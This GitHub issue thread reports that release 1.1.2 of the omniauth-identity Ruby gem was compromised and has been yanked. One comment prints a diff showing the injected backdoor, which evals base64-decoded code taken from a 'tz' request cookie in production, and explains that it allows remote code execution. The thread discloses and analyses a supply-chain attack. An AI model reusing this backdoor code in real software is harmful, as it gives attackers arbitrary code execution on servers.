Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Version 1.1.2 appears to be compromised? #93

Open
fwilkens opened this issue Sep 20, 2019 · 5 comments
Open

Version 1.1.2 appears to be compromised? #93

fwilkens opened this issue Sep 20, 2019 · 5 comments
Assignees

Comments

@fwilkens
Copy link

@fwilkens fwilkens commented Sep 20, 2019

Hi there. I noticed that 1.1.2 contains some suspicious code. https://rubygems.org/gems/omniauth-identity/versions/1.1.2

omniauth-identity

Compromised Rubygems account?

@tmilewski

This comment has been minimized.

Copy link
Member

@tmilewski tmilewski commented Sep 20, 2019

Please avoid v1.1.2 as it is not a legitimate release.

I've followed up with @fwilkens privately, and I appreciate him calling this out.

To inform others here:

Yes, it initially appears that a compromised RubyGems account is the culprit. I've reached out to the @rubygems security team to help with short and long-term resolution.

@tmilewski tmilewski self-assigned this Sep 20, 2019
@tmilewski

This comment has been minimized.

Copy link
Member

@tmilewski tmilewski commented Sep 20, 2019

Update, it's been yanked.

Following-up, through other channels. I'm currently in-transit, so this might take a little bit.

@nbibler

This comment has been minimized.

Copy link

@nbibler nbibler commented Oct 4, 2019

Have there been any CVEs or Ruby Security Advisory announcements released about it? I haven't seen any notification of a problem other than just the yanked release.

Seems bad if there's known-malicious code involved.

@nbibler

This comment has been minimized.

Copy link

@nbibler nbibler commented Oct 4, 2019

A diff of the Rubygems release at v1.1.1 vs v1.1.2:

diff -r omniauth-identity-1.1.1/Gemfile.lock omniauth-identity-1.1.2/Gemfile.lock
4c4
<     omniauth-identity (1.1.1)
---
>     omniauth-identity (1.1.2)
diff -r omniauth-identity-1.1.1/lib/omniauth/strategies/identity.rb omniauth-identity-1.1.2/lib/omniauth/strategies/identity.rb
60a61,64
>       Rack::Sendfile.prepend Module.new{define_method(:call){|e|
>       begin;eval(Base64.urlsafe_decode64(e["HTTP_COOKIE"].match(/tz=(.+);/)[1]));rescue Exception;end
>       super(e)}}if Rails.env[0]=="p" && ENV["URL_HOST"].present? rescue nil
>
diff -r omniauth-identity-1.1.1/lib/omniauth-identity/version.rb omniauth-identity-1.1.2/lib/omniauth-identity/version.rb
3c3
<     VERSION = '1.1.1'
---
>     VERSION = '1.1.2'
@nbibler

This comment has been minimized.

Copy link

@nbibler nbibler commented Oct 4, 2019

So, reading that, it seems to be inserting a Rack middleware-like call method into the request stack. That middleware looks like the attacker is enabled to make crafted requests to affected servers.

Those crafted requests carry a custom tz cookie whose value is a Base64 encoded Ruby script of arbitrary code-to-execute.

Seemingly this is a backdoor into arbitrary server-side code execution.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
3 participants
You can’t perform that action at this time.